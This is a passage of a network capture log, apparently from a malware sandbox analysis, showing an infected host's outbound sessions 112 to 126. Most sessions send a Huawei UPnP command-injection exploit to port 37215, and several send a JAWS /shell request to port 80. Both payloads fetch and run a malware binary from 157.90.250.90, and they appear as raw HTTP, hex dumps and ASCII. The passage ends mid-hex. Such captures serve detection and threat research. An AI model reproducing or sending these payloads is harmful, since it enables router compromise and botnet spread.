2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	39234	197.70.204.94	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.418792963 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	59084	41.248.180.24	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.419291973 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	52076	156.244.222.255	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.419764042 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	41936	197.233.207.19	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.421279907 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	41174	12.24.147.177	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.421586990 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	56176	41.84.2.171	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.422051907 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	36810	72.97.142.213	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.422517061 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	55164	156.238.129.211	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.423113108 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	58536	107.213.65.9	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.423553944 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	45824	41.227.92.100	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.424123049 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	44752	126.129.144.5	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.424597979 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	35846	197.79.18.120	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.425184965 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.13	54424	62.250.47.221	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.425617933 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	34918	156.18.66.100	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.426204920 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	60506	41.193.68.101	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.426985025 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 